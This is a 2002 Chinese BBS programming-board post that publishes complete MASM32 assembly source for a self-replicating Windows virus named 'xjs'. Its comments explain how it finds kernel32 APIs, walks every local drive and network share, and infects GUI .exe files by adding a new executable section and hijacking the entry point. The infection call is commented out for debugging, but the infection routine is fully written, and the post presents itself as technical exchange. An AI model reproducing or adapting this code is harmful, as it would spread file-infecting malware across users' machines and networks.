Programming 版 (精华区)

发信人: pzc (呆呆地呆着发呆), 信区: Programming
标  题: 一个可传播的程序(v1.1)
发信站: 哈工大紫丁香 (2002年03月28日19:16:47 星期四), 站内信件

;************************************************************
;编写环境: win2k,masm32v5
;完成日期: 2002/3/28/7:10
;适用环境: win9x/winnt/win2k/winxp
;程序功能: 感染本地硬盘和网络上所有exe(GUI)文件,不发作
;版  本: v1.1
;大  小: 1937(byte)
;程序名称: xjs
;联系地址:  AwakeinAlone@X263.net
;说  明: 本文纯属技术交流.万一有转贴,请保持完整性,多谢!
;************************************************************

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\mpr.inc
includelib \masm32\lib\mpr.lib

.data
hi    db "hi",0
ppmm  db "ppmm,you need no reason to love me!",0

.code
main:
   mov   HostEntry,offset ret_addr
   jmp   vstart
ret_addr:
   Invoke MessageBox,NULL,offset ppmm,offset hi,0
   ret

CODE segment
vstart:                          ;virus start here :)
   call start
start:
   pop ebx
   sub ebx,offset start          ;ebx=病毒在4G空间的偏移量
   push HostEntry[ebx]           ;保存宿主程序入口,做返回宿主之用
   call GetKernelBase            ;取得Kernel32.dll的image base
   or eax,eax
   jz short vexit
   call GetGPAFuncAddr           ;取得GetProcAddress的地址
   call GetAllFuncAddr           ;取得其他函数地址
   call VThread                  ;暂时没有启动真的线程
vexit:
   ret                           ;此时栈顶为HostEntry,返回正常入口执行
;**********获得image of kernel32.dll的基址********************
;mov edi,[esp+8]这条指令取得返回到BaseStartProcess
;的返回地址,主线程执行的第一条指令应该是BaseStartProcess
;的指令,在这个函数中调用的vstart(程序入口),返回地址进栈,
;既程序执行完时,应该返回到BaseStartProcess函数。这个函数
;既然在kernel32中,它的指令地址就在kernel32中并且大于hmodule
;of kernel32,以它为基础,以64k(10000h)(分配粒度)为单位向上
;搜索具有pe机构的模块。
;*************************************************************
GetKernelBase:
mov   edi , [esp+8]
and   edi , 0ffff0000h
.while TRUE
     .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
         mov  esi, edi
         add  esi, [esi+03Ch]
         .if  DWORD ptr [esi] == IMAGE_NT_SIGNATURE
              .break
         .endif
     .endif
      sub  edi, 010000h
     .if edi < 070000000h     ;应该是win9x,直接赋值
          mov  edi, 0bff70000h   ;0bff7000h 是win9x的base
          .break
     .endif
.endw
     xchg    eax, edi
     mov     hKernel32[ebx],eax          ;保存kernel32.dll的base addr
ret

;************获得GetProcAddress的地址*************
;利用输出表查找GetProcAddress地址
;输出表结构和功能,参看pe教程
;*************************************************
GetGPAFuncAddr:
    mov   edx,eax                      ;edx->Kernel32_Base
    assume edx :ptr IMAGE_DOS_HEADER
    add   edx,[edx].e_lfanew
    assume  edx:ptr IMAGE_NT_HEADERS
    mov   edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
    add   edx,hKernel32[ebx]
    assume  edx:ptr IMAGE_EXPORT_DIRECTORY
    mov   ebp,[edx].AddressOfNames
    add   ebp,hKernel32[ebx]           ;now ebp=Addr of RVAofName[]
    mov   eax,0                    ;eax AddressOfNames Index
    mov   ecx,14                   ;length of string GetProcAddress
    .repeat
          mov   edi,[ebp]
          add   edi,hKernel32[ebx]
          lea   esi,[offset nGetProcAddress+ebx]
          repz  cmpsb
          .if zero?
                .break
          .endif
          mov   ecx,14
          add   ebp,4        ;下一个RVA
          inc   eax
    .until  eax == [edx].NumberOfNames
    mov     ebp, [edx].AddressOfNameOrdinals
    add     ebp, hKernel32[ebx]
    movzx   ecx,word ptr [ebp+eax*2]
    mov     ebp, [edx].AddressOfFunctions   ; get address of the api
    add     ebp, hKernel32[ebx]
    mov     eax, [ebp+ecx*4]
    add     eax,hKernel32[ebx]               ;now we get it
    mov     dwGetProcAddress[ebx],eax
    ret
;**************************************************
;Get Other Funtions Addresses
;**************************************************
GetAllFuncAddr:
   lea      eax,[offset nLoadLibraryA+ebx]
   push     eax
   push     hKernel32[ebx]
   call     dwGetProcAddress[ebx]
   mov      dwLoadLibraryA[ebx],eax    ;Get LoadLibraryA's Address
   lea      edi,[offset Kernel32_FuncName+ebx]
   mov      ecx,Kernel_num                ;Kernel32's Func Num=14
   mov      ebp,0
   Kernel32_begin:
   push     ecx
   push     edi
   push     hKernel32[ebx]
   call     dwGetProcAddress[ebx]
   mov      Kernel32_FuncAddr[ebp+ebx],eax
   xor      eax,eax
   repnz    scasb    ;寻找字符串结束标志0,使edi指向下个函数名
   add      ebp,4
   pop      ecx
   loop     Kernel32_begin
   lea      eax,[offset dllMpr+ebx]
   push     eax
   call     dwGetModuleHandle[ebx]
   .if      eax==NULL
            lea     eax,[offset dllMpr+ebx]
            push    eax
            call    dwLoadLibraryA[ebx]
   .endif
   mov      esi,eax           ;Hmodule of MPR.dll
   lea      edi,[offset Mpr_FuncName+ebx]
   mov      ecx,Mpr_num             ;MPR's Func Num=3
   mov      ebp,0
   Mpr_begin:
   push     ecx
   push     edi
   push     esi
   call     dwGetProcAddress[ebx]
   mov      Mpr_FuncAddr[ebp+ebx],eax
   xor      eax,eax
   repnz    scasb
   add      ebp,4
   pop      ecx
   loop     Mpr_begin             ;Now we get all funtion' addrs
   ret
;*******************************************
;the thread begin to enum all file in disk
;and neibourhood  , when it finds a pe file
;Infect it ^0^
;*******************************************
VThread:
     call  InfectDisk
     xor   edi,edi                ;用edi传递pNetResource (参数)
     call  InfectNetWork
ret

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
InfectDisk:
mov  al,'c'
.while al<='z'
       mov  byte ptr CurDisk[ebx],al
       push eax
       lea  eax,[offset CurDisk+ebx]
       push eax
       call EnumDir
       pop  eax
       inc  al
.endw
ret
;************InfectNetWork************************
;遍历网络邻居,找到计算机后,调用EnumDir遍历其所有exe
;*************************************************
InfectNetWork:
push    edi                       ;use edi in the func
push    ebp
mov     ebp , esp
sub     esp , 16
mov     dword ptr [ebp-8],0ffffffffh
mov     dword ptr [ebp-12],16*1024
lea    eax,[ebp-4]               ; hEnum=ebp-4
push   eax                       ; push & hEnum
push   edi                       ; push pNetResource (参数)
push   0
push   RESOURCETYPE_DISK
push   RESOURCE_GLOBALNET
call   dwWNetOpenEnum[ebx]
or     eax,eax
jnz    EN_Close
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 16*1024
push 0
call dwVirtualAlloc[ebx]
or      eax,eax
jz      short EN_Close
mov     [ebp-16],eax                   ; mov pBuffer,eax
mov     edi,eax                        ;edi = pNetResource
lea     eax,[ebp-12]
push    eax
push    edi
lea     eax,[ebp-8]
push    eax
push    [ebp-4]
call    dwWNetEnumResource[ebx]
or      eax,eax
jnz     short EN_Free
mov     ecx,[ebp-8]
assume edi:ptr NETRESOURCEA
EN_Loop:
        push    ecx
        mov     eax,[edi].dwUsage
        and     al,2
        .IF     al == 2
                call     InfectNetWork              ;para in edi
        .ELSE
                push     edi  ;EnumDir use edi
                mov     eax,[edi].lpRemoteName
                push    eax
                call    EnumDir
                pop  edi
        .ENDIF
        add         edi,20h   ; sizeof NETRESOURCE
        pop ecx
loop EN_Loop
EN_Free:
push        MEM_RELEASE
push        0
push        [ebp-16]
call        dwVirtualFree[ebx]
EN_Close:
push        [ebp-4]
call        dwWNetCloseEnum[ebx]
add    esp , 16
pop    ebp
pop    edi
ret

;****************************************************
;用递归方法遍历目录下所有exe文件
;找到后调用InfectFile
;栈上几个变量如下所示
;ebp-4=hSearch,ebp-264=DirofFile[],ebp-268=CurDirLen
;****************************************************
EnumDir:
     push   ebp
     mov    ebp,esp
     sub    esp,268
     mov    esi,[ebp+8]
     xor    ecx,ecx
     .while byte ptr [esi+ecx]!=0
            inc  ecx      ;得到目录长度
     .endw
     inc    ecx
     mov    [ebp-268],ecx              ;len of CurDir string
     dec    ecx
     lea    edi,[ebp-264]
     rep    movsb
     lea    esi,[offset sds+ebx]       ;offset of "*.*"
     movsd                             ;len of "\*.*"
     movsb                             ;add NULL to the end
     lea    eax,[offset wfd+ebx]
     push   eax
     lea    eax,[ebp-264]
     push   eax
     call   dwFindFirstFile[ebx]
     .if    eax<=0
            jmp l_close
     .endif
     mov    [ebp-4],eax    ;hSearch=eax
l_next:
    lea    eax,[offset wfd+ebx]
    push   eax
    push   [ebp-4]
    call   dwFindNextFile[ebx]
    .if    eax==FALSE
           jmp short l_close
    .endif
    .if    byte ptr [wfd+44+ebx]=='.'
           jmp short l_next
    .endif
    lea    edi,[ebp-264]
    add    edi,[ebp-268]
    lea    esi,[wfd+44+ebx]
    xor    ecx,ecx
    .while byte ptr [esi+ecx]!=0
           inc  ecx
    .endw
    inc    ecx
    rep    movsb           ;strcat(DirofFile,wfd.cFileName)
    .if  dword ptr [wfd+ebx]==FILE_ATTRIBUTE_DIRECTORY
           lea    eax,[ebp-264]
           push   eax
           call   EnumDir
    .else
           call   File_Test
    .endif
    jmp short l_next
l_close:
    .if    dword ptr [ebp-4]!=NULL
           push   [ebp-4]
           call   dwFindClose[ebx]
    .endif
    add    esp,268
    pop    ebp
    ret    4

;************************************
;edi->end of CurorFile string
;if this file is finished by 'exe'
;notice 'exe' isn't 'EXE'
;we call msgbox to show it
;************************************
File_Test:
             sub    edi,5
             cmp    dword ptr[edi],6578652Eh  ; 6578652E= .exe
             jnz    short ft_end
             lea    eax,[ebp-264]
             ;call  InfectFile
             Invoke MessageBox,NULL,eax,eax,0 ; 调试用
ft_end:
ret

;********************************************
;下面代码用于感染文件
;原理请参见前面的文章“为pe文件插入代码”
;********************************************
InfectFile:
push ebp  ;保存ebp
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea  eax,[ebp-264]
push eax
call dwCreateFile[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  hFile[ebx],eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebx]
call dwCreateFileMapping[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  hMapping[ebx], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebx]
call dwMapViewOfFile[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  pMapping[ebx],eax
mov  ebp,eax
assume ebp :ptr IMAGE_DOS_HEADER
.IF  [ebp].e_magic!=IMAGE_DOS_SIGNATURE
     jmp  InfectFile_Exit
.ENDIF
.IF  [ebp].e_lfarlc!=040h
     jmp  InfectFile_Exit
.ENDIF
mov  eax,[ebp].e_lfanew
add  ebp,[ebp].e_lfanew                  ;此时ebp指向PE文件头
assume ebp:ptr IMAGE_NT_HEADERS
.IF  [ebp].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
     jmp  InfectFile_Exit
.ENDIF
.IF word ptr [ebp].OptionalHeader.Subsystem!=2  ;GUI? CUI=3!
                ;是否已经感染
     jmp  InfectFile_Exit
.ENDIF
.IF word ptr [ebp+1ah]==0842h                              ;是否已经感染
     jmp  InfectFile_Exit
.ENDIF
mov  eax,[ebp].OptionalHeader.AddressOfEntryPoint
add  eax,[ebp].OptionalHeader.ImageBase
mov  HostEntry[ebx],eax                                      ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
movzx eax,[ebp].FileHeader.NumberOfSections
mov  ecx,28h
mul  ecx
lea  esi,[ebp]
sub  esi,pMapping[ebx]
add  eax,esi
add  eax,18h
movzx esi,[ebp].FileHeader.SizeOfOptionalHeader
add  eax,esi
mov  edi,eax
add  edi,pMapping[ebx]               ;I forgot this first
add  eax,28h
.IF  eax>[ebp].OptionalHeader.SizeOfHeaders
    jmp  InfectFile_Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc  [ebp].FileHeader.NumberOfSections                   ;节数目+1
mov  esi,edi
sub  esi,28h
assume  edi:ptr IMAGE_SECTION_HEADER
assume  esi:ptr IMAGE_SECTION_HEADER
mov   dword ptr[edi],00736A78h             ;[edi].Name1="xjs",0
push [ebp].OptionalHeader.SizeOfImage
pop  [edi].VirtualAddress
mov  eax,offset vend-offset vstart
mov  [edi].Misc.VirtualSize,eax
mov  ecx,[ebp].OptionalHeader.FileAlignment
div  ecx
inc  eax
mul  ecx
mov  [edi].SizeOfRawData,eax
mov  eax,[esi].PointerToRawData
add  eax,[esi].SizeOfRawData
mov  [edi].PointerToRawData,eax
mov  [edi].Characteristics,0E0000020h  ;可读可写可执行
;*********************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;*********************************************************************
mov  eax,[edi].Misc.VirtualSize
mov  ecx,[ebp].OptionalHeader.SectionAlignment
div  ecx
inc  eax
mul  ecx
add  eax,[ebp].OptionalHeader.SizeOfImage
mov  [ebp].OptionalHeader.SizeOfImage,eax
mov  eax,[edi].VirtualAddress
mov  [ebp].OptionalHeader.AddressOfEntryPoint,eax
mov  word ptr [ebp+1ah],0842h   ;写入感染标志
push  FILE_BEGIN
push  0
push  [edi].PointerToRawData
push  hFile[ebx]
call  dwSetFilePointer[ebx]
.IF   eax<=0
      jmp InfectFile_Exit
.ENDIF
;*********************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;*********************************************************************
push  0
lea   eax,[offset byte_write+ebx]
push  eax
push  [edi].SizeOfRawData
lea   eax,[offset vstart+ebx]
push  eax
push  hFile[ebx]
call  dwWriteFile[ebx]
InfectFile_Exit:
.if  pMapping[ebx]!=NULL
     push pMapping[ebx]
     call dwUnmapViewOfFile[ebx]
.endif
.if  hMapping[ebx]!=NULL
     push hMapping[ebx]
     call dwCloseHandle[ebx]
.endif
pop  ebp   ;恢复ebp
ret
;***********以下是数据************************
HostEntry dd 0
hKernel32 dd 0
nGetProcAddress    db  "GetProcAddress",0
nLoadLibraryA      db  "LoadLibraryA",0
dwGetProcAddress   dd  0
dwLoadLibraryA     dd  0
Kernel32_FuncName:
nCreateThread      db  "CreateThread",0
nGetModuleHandle   db  "GetModuleHandleA",0
nFindFirstFile     db  "FindFirstFileA",0
nFindNextFile      db  "FindNextFileA",0
nFindClose         db  "FindClose",0
nCreateFile        db  "CreateFileA",0
nCreateFileMapping db  "CreateFileMappingA",0
nMapViewOfFile     db  "MapViewOfFile",0
nUnmapViewOfFile   db  "UnmapViewOfFile",0
nSetFilePointer    db  "SetFilePointer",0
nWriteFile         db  "WriteFile",0
nCloseHandle       db  "CloseHandle",0
nVirtualAlloc      db  "VirtualAlloc",0
nVirtualFree       db  "VirtualFree",0
dllMpr db "MPR.dll",0
Mpr_FuncName:
nWNetOpenEnum      db "WNetOpenEnumA",0
nWNetEnumResource  db "WNetEnumResourceA",0
nWNetCloseEnum     db "WNetCloseEnum",0
Kernel32_FuncAddr:
dwCreateThread      dd 0
dwGetModuleHandle   dd 0
dwFindFirstFile     dd 0
dwFindNextFile      dd 0
dwFindClose         dd 0
dwCreateFile        dd 0
dwCreateFileMapping dd 0
dwMapViewOfFile     dd 0
dwUnmapViewOfFile   dd 0
dwSetFilePointer    dd 0
dwWriteFile         dd 0
dwCloseHandle       dd 0
dwVirtualAlloc      dd 0
dwVirtualFree       dd 0
Kernel_num=14
Mpr_FuncAddr:
dwWNetOpenEnum      dd 0
dwWNetEnumResource  dd 0
dwWNetCloseEnum     dd 0
Mpr_num=3
;*************遍历目录所用*************************************
wfd         WIN32_FIND_DATA <>
sds db '\*.*',0
CurDisk db 'c:',0
;*************感染文件数据*************************************
hFile       dd 0
hMapping    dd 0
pMapping    dd 0
byte_write  dd 0   ;WriteFile时使用,没有实际用途,为了程序正确
;*************************************************************
vend:
CODE ends
end main 

--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.236.144]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:209.386毫秒